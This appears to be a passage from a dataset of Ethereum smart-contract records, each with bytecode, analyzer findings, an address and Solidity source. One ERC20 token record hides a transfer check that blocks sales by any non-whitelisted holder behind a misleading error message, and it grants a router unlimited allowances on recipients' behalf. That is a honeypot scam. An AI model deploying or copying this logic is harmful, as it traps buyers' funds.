000000000000000000000000000000000000815260040161255890612ed1565b60405180910390fd5b8091505092915050565b600061257561215e565b9050600061258c828461206c90919063ffffffff16565b90506125e081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263d826006546124c390919063ffffffff16565b6006819055506126588160075461250d90919063ffffffff16565b6007819055505050565b60008060008061268e6064612680888a61206c90919063ffffffff16565b6120e790919063ffffffff16565b905060006126b860646126aa888b61206c90919063ffffffff16565b6120e790919063ffffffff16565b905060006126e1826126d3858c6124c390919063ffffffff16565b6124c390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612711858961206c90919063ffffffff16565b90506000612728868961206c90919063ffffffff16565b9050600061273f878961206c90919063ffffffff16565b905060006127688261275a85876124c390919063ffffffff16565b6124c390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279461278f846130a6565b613081565b905080838252602082019050828560208602820111156127b357600080fd5b60005b858110156127e357816127c988826127ed565b8452602084019350602083019250506001810190506127b6565b5050509392505050565b6000813590506127fc816136e4565b92915050565b600081519050612811816136e4565b92915050565b600082601f83011261282857600080fd5b8135612838848260208601612781565b91505092915050565b600081359050612850816136fb565b92915050565b600081519050612865816136fb565b92915050565b60008135905061287a81613712565b92915050565b60008151905061288f81613712565b92915050565b6000602082840312156128a757600080fd5b60006128b5848285016127ed565b91505092915050565b6000602082840312156128d057600080fd5b60006128de84828501612802565b91505092915050565b600080604083850312156128fa57600080fd5b6000612908858286016127ed565b9250506020612919858286016127ed565b9150509250929050565b60008060006060848603121561293857600080fd5b6000612946868287016127ed565b9350506020612957868287016127ed565b92505060406129688682870161286b565b9150509250925092565b6000806040838503121561298557600080fd5b6000612993858286016127ed565b92505060206129a48582860161286b565b9150509250929050565b6000602082840312156129c057600080fd5b600082013567ffffffffffffffff8111156129da57600080fd5b6129e684828501612817565b91505092915050565b600060208284031215612a0157600080fd5b6000612a0f84828501612841565b91505092915050565b600060208284031215612a2a57600080fd5b6000612a3884828501612856565b91505092915050565b600060208284031215612a5357600080fd5b6000612a618482850161286b565b91505092915050565b600080600060608486031215612a7f57600080fd5b6000612a8d86828701612880565b9350506020612a9e86828701612880565b9250506040612aaf86828701612880565b9150509250925092565b6000612ac58383612ad1565b60208301905092915050565b612ada8161323c565b82525050565b612ae98161323c565b82525050565b6000612afa826130e2565b612b048185613105565b9350612b0f836130d2565b8060005b83811015612b40578151612b278882612ab9565b9750612b32836130f8565b925050600181019050612b13565b5085935050505092915050565b612b568161324e565b82525050565b612b6581613291565b82525050565b6000612b76826130ed565b612b808185613116565b9350612b908185602086016132a3565b612b99816133dd565b840191505092915050565b6000612bb1602383613116565b9150612bbc826133ee565b604082019050919050565b6000612bd4602a83613116565b9150612bdf8261343d565b604082019050919050565b6000612bf7602283613116565b9150612c028261348c565b604082019050919050565b6000612c1a601b83613116565b9150612c25826134db565b602082019050919050565b6000612c3d601d83613116565b9150612c4882613504565b602082019050919050565b6000612c60602183613116565b9150612c6b8261352d565b604082019050919050565b6000612c83602083613116565b9150612c8e8261357c565b602082019050919050565b6000612ca6602983613116565b9150612cb1826135a5565b604082019050919050565b6000612cc9602583613116565b9150612cd4826135f4565b604082019050919050565b6000612cec602483613116565b9150612cf782613643565b604082019050919050565b6000612d0f601783613116565b9150612d1a82613692565b602082019050919050565b6000612d32601183613116565b9150612d3d826136bb565b602082019050919050565b612d518161327a565b82525050565b612d6081613284565b82525050565b6000602082019050612d7b6000830184612ae0565b92915050565b6000604082019050612d966000830185612ae0565b612da36020830184612ae0565b9392505050565b6000604082019050612dbf6000830185612ae0565b612dcc6020830184612d48565b9392505050565b600060c082019050612de86000830189612ae0565b612df56020830188612d48565b612e026040830187612b5c565b612e0f6060830186612b5c565b612e1c6080830185612ae0565b612e2960a0830184612d48565b979650505050505050565b6000602082019050612e496000830184612b4d565b92915050565b60006020820190508181036000830152612e698184612b6b565b905092915050565b60006020820190508181036000830152612e8a81612ba4565b9050919050565b60006020820190508181036000830152612eaa81612bc7565b9050919050565b60006020820190508181036000830152612eca81612bea565b9050919050565b60006020820190508181036000830152612eea81612c0d565b9050919050565b60006020820190508181036000830152612f0a81612c30565b9050919050565b60006020820190508181036000830152612f2a81612c53565b9050919050565b60006020820190508181036000830152612f4a81612c76565b9050919050565b60006020820190508181036000830152612f6a81612c99565b9050919050565b60006020820190508181036000830152612f8a81612cbc565b9050919050565b60006020820190508181036000830152612faa81612cdf565b9050919050565b60006020820190508181036000830152612fca81612d02565b9050919050565b60006020820190508181036000830152612fea81612d25565b9050919050565b60006020820190506130066000830184612d48565b92915050565b600060a0820190506130216000830188612d48565b61302e6020830187612b5c565b81810360408301526130408186612aef565b905061304f6060830185612ae0565b61305c6080830184612d48565b9695505050505050565b600060208201905061307b6000830184612d57565b92915050565b600061308b61309c565b905061309782826132d6565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c1576130c06133ae565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131328261327a565b915061313d8361327a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317257613171613350565b5b828201905092915050565b60006131888261327a565b91506131938361327a565b9250826131a3576131a261337f565b5b828204905092915050565b60006131b98261327a565b91506131c48361327a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fd576131fc613350565b5b828202905092915050565b60006132138261327a565b915061321e8361327a565b92508282101561323157613230613350565b5b828203905092915050565b60006132478261325a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329c8261327a565b9050919050565b60005b838110156132c15780820151818401526020810190506132a6565b838111156132d0576000848401525b50505050565b6132df826133dd565b810181811067ffffffffffffffff821117156132fe576132fd6133ae565b5b80604052505050565b60006133128261327a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334557613344613350565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ed8161323c565b81146136f857600080fd5b50565b6137048161324e565b811461370f57600080fd5b50565b61371b8161327a565b811461372657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b2d42ed48dc7059a168f48f6143442d8c1c837481c898059f1fbd1dcd21e73864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,005 |
0x98e9301db12418370ab31431c2b5c6a70c2dec6f
|
// --------------------------Official website :reflectfinance.com-------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _Erc20Token(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220178a2d58c57a84a851bf063b83c269997c0e3a2c6452deba1fa2bde1787b218064736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 9,006 |
0x0f64Db5a527850B8Fc8025F9c49Adb734fdf43eD
|
/**
* Originally from https://github.com/ConsenSys/MultiSigWallet
*/
pragma solidity ^0.4.11;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="473433222126296920222835202207242829342229343e3469292233">[email protected]</a>>
contract MultiSig is owned {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSig(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
changeRequirement(owners.length / 2 + 1);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
//if (required > owners.length)
// changeRequirement(owners.length);
changeRequirement(owners.length / 2 + 1);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
